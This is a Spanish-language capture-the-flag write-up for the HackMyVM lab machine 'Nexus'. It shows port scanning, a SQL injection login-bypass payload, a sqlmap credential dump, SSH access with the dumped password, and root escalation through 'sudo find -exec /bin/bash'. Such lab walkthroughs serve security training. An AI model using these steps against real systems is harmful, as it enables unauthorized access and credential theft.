cd ~/blog

~/writeups/hmv/130-nexus.md

130 - Nexus

easy Linux hmv 25-06-2025
SQL Injection (auth bypass + dump)sudo find Privesc
hackmyvm.eu/machines/machine.php?vm=Nexus

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.14
...
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
...

Enumerando llegamos a /index2.php, que referencia un panel de autorización:

NEXUS MSG> _ AUTHORIZATION PANEL :: http://[personal ip]/auth-login.php

El login es vulnerable a SQL Injection (admin' or 1=1-- -). Con sqlmap volcamos las credenciales:

 sqlmap -u "http://192.168.1.14/auth-login.php" --forms --crawl=1 --dump
...
+----+--------------------+----------+
| id | password           | username |
+----+--------------------+----------+
| 1  | F4ckTh3F4k3H4ck3r5 | shelly   |
| 2  | cambiame08         | admin    |
+----+--------------------+----------+
...

Las de shelly funcionan por SSH:

 ssh shelly@192.168.1.14
...
shelly@192.168.1.14's password: F4ckTh3F4k3H4ck3r5
...
shelly@NexusLabCTF:~$

Obtenemos la primera flag. Revisamos sudo -l:

shelly@NexusLabCTF:~$ sudo -l
...
User shelly may run the following commands on NexusLabCTF:
    (ALL) NOPASSWD: /usr/bin/find

find con -exec nos da una shell de root:

shelly@NexusLabCTF:~$ sudo find . -exec /bin/bash \; -quit
root@NexusLabCTF:/home/shelly#

La flag de root está en una imagen en /root/Sion-Code; como no tenemos una TTY completa, la extraemos con strings:

root@NexusLabCTF:~/Sion-Code# strings use-fim-to-root.png
...
;HMV-FLAG[[ ************* ]]
...

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados